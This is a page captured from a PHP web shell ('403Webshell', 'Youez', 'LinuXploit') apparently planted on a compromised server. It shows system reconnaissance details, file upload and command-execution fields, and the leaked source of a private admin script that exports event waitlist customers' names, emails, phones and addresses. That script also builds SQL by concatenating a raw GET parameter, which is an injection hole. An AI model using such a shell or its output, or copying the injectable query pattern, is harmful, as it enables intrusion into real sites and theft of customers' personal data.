403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewprod/admin/rpt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewprod/admin/rpt/event_waitlist.php
<?php include('mod/_mod_security.php'); ?>
<?php
	$criteria = '';
	$filter = '';
	$sql = "SELECT e.*
		FROM events e
		WHERE e.id = :id 
	";
	$stmt = $db->prepare($sql);
	$stmt->execute([
		':id' => $_GET['event_id'],
	]);
	$row_event = $stmt->fetch(PDO::FETCH_OBJ);
	if (!$row_event) :
		echo 'Invalid event ID!';
		exit();
	endif;
	$filter .= '<br> Event Name: ' . $row_event->name;
	$filter .= '<br> Start Time: ' . nzdate_display_datetime($row_event->start_time_local);
	$criteria .= ' AND e.id = ' . nz($_GET['event_id'], '0');

	switch ($_POST['ew_sort_1'] ?? '') :
		case 'First Name':
			$sort_rank = 'w.cust_first_name ASC';
			$filter .= '<br> Primary Sort/Rank: ' . 'First Name';
			break;
		case 'Last Name':
			$sort_rank = 'w.cust_last_name ASC';
			$filter .= '<br> Primary Sort/Rank: ' . 'Last Name';
			break;
		default:
			$sort_rank = 'w.cust_first_name ASC';
			$filter .= '<br> Primary Sort/Rank: ' . 'First Name';
	endswitch;
	switch ($_POST['ew_sort_2'] ?? '') :
		case 'First Name':
			$sort_rank .= ', w.cust_first_name ASC';
			$filter .= '<br> Secondary Sort/Rank: ' . 'First Name';
			break;
		case 'Last Name':
			$sort_rank .= ', w.cust_last_name ASC';
			$filter .= '<br> Secondary Sort/Rank: ' . 'Last Name';
			break;
		case 'Ticket Tier':
			$sort_rank .= ', w.sku_description ASC';
			$filter .= '<br> Secondary Sort/Rank: ' . 'Ticket Tier';
			break;
		default:
			$sort_rank .= ', w.cust_last_name ASC';
			$filter .= '<br> Secondary Sort/Rank: ' . 'Last Name';
	endswitch;

	$slug_start_position = strlen(APP_BASE_USER_SITE_SECURE . 'events/') + 1;
	$sql = "SELECT
		e.id,
		e.name,
		e.slug,
		e.start_time_local,
		e.location_id,
		w.cust_first_name,
		w.cust_last_name,
		w.cust_email,
		w.cust_street_1,
		w.cust_street_2,
		w.cust_city,
		w.cust_state,
		w.cust_zip,
		w.cust_phone
		FROM events e
		JOIN waitlist w ON (w.reference_id = e.id AND w.reference_type = 'event')
		WHERE e.status = 1
		$criteria
		ORDER BY $sort_rank
	";
	//error_log($sql);
	$result = $db->query($sql) or die('Database Error!');
	$row_count = $result->rowCount();
	if ($row_count <= 0) :
		echo 'No data for report!';
		exit();
	endif;
	
	$rpt = get_report_class($_POST['output_format']);
	$rpt->set_report_title('Event Waitlist');
	$rpt->report_start();
	
	$rpt->header_start();
	if (!empty($filter)) :
		$rpt->header_row_start();
		$rpt->header_cell_add('Filters: '.$filter, ['colspan'=>'9', 'class'=>'large']);
		$rpt->header_row_end();
	endif;
	$rpt->header_row_start();
	$rpt->header_cell_add('First Name', ['width'=>'120']);
	$rpt->header_cell_add('Last Name', ['width'=>'120']);
	$rpt->header_cell_add('Email', ['width'=>'120']);
	$rpt->header_cell_add('Phone', ['width'=>'120']);
	$rpt->header_cell_add('Address', ['width'=>'120']);
	$rpt->header_cell_add('Address 2', ['width'=>'120']);
	$rpt->header_cell_add('City', ['width'=>'120']);
	$rpt->header_cell_add('State', ['width'=>'120']);
	$rpt->header_cell_add('Zip', ['width'=>'120']);
	$rpt->header_row_end();
	$rpt->header_end();
	
	$rpt->data_start();
	$rows = $result->fetchAll(PDO::FETCH_OBJ);
	$total_waitlist = count($rows);
	$rpt->data_row_start();
	$rpt->data_cell_add('Total waitlist', ['style' => 'font-size:125%; font-weight:bold;']);
	$rpt->data_cell_add($total_waitlist, ['align'=>'right', 'style' => 'font-size:125%; font-weight:bold;']);
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_row_end();
	foreach ($rows as $row) :
		$rpt->data_row_start();
		$rpt->data_cell_add($row->cust_first_name);
		$rpt->data_cell_add($row->cust_last_name);
		$rpt->data_cell_add($row->cust_email);
		$rpt->data_cell_add($row->cust_phone);
		$rpt->data_cell_add($row->cust_street_1);
		$rpt->data_cell_add($row->cust_street_2);
		$rpt->data_cell_add($row->cust_city);
		$rpt->data_cell_add($row->cust_state);
		$rpt->data_cell_add($row->cust_zip);
		$rpt->data_row_end();
	endforeach;
	$rpt->data_row_start();
	$rpt->data_cell_add('Total waitlist', ['style' => 'font-size:125%; font-weight:bold;']);
	$rpt->data_cell_add($total_waitlist, ['align'=>'right', 'style' => 'font-size:125%; font-weight:bold;']);
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_cell_add('');
	$rpt->data_row_end();
	$rpt->data_end();
	
	$rpt->report_end();
	$rpt->output_report();

Youez - 2016 - github.com/yon3zu
LinuXploit